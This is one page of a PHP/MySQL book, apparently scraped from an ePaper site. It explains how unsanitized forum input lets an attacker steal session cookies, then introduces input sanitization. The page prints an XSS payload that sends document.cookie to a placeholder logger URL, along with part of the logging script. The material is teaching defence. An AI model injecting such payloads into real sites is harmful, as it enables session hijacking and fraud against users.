11.07.2015 Views

PHP MySQL - Stilson.net

PHP MySQL - Stilson.net

PHP MySQL - Stilson.net

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

www.it-ebooks.infoCHAPTER 13• WORKING WITH HTML FORMSFigure 13-1. Displaying cookie information from a visit to www.google.comUsing JavaScript, the attacker can take advantage of unchecked input by embedding a similarcommand into a web page and quietly redirecting the information to some script capable of storing it ina text file or a database. The attacker then uses the forum’s comment-posting tool to add the followingstring to the forum page:document.location = 'http://www.example.org/logger.php?cookie=' +document.cookieThe logger.php file might look like this:// Return to original siteheader("Location: http://www.example.com");If the e-commerce site isn’t comparing cookie information to a specific IP address (a safeguard thatwould likely be uncommon on a site that has decided to ignore data sanitization), all the attacker has todo is assemble the cookie data into a format supported by the browser, and then return to the site fromwhich the information was culled. Chances are the attacker is now masquerading as the innocent user,potentially making unauthorized purchases, defacing the forums, and wreaking other havoc.Sanitizing User InputGiven the frightening effects that unchecked user input can have on a web site and its users, one wouldthink that carrying out the necessary safeguards must be a particularly complex task. After all, theproblem is so prevalent within web applications of all types, so prevention must be quite difficult, right?Ironically, preventing these types of attacks is really a trivial affair, accomplished by first passing theinput through one of several functions before performing any subsequent task with it. Four standard291

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!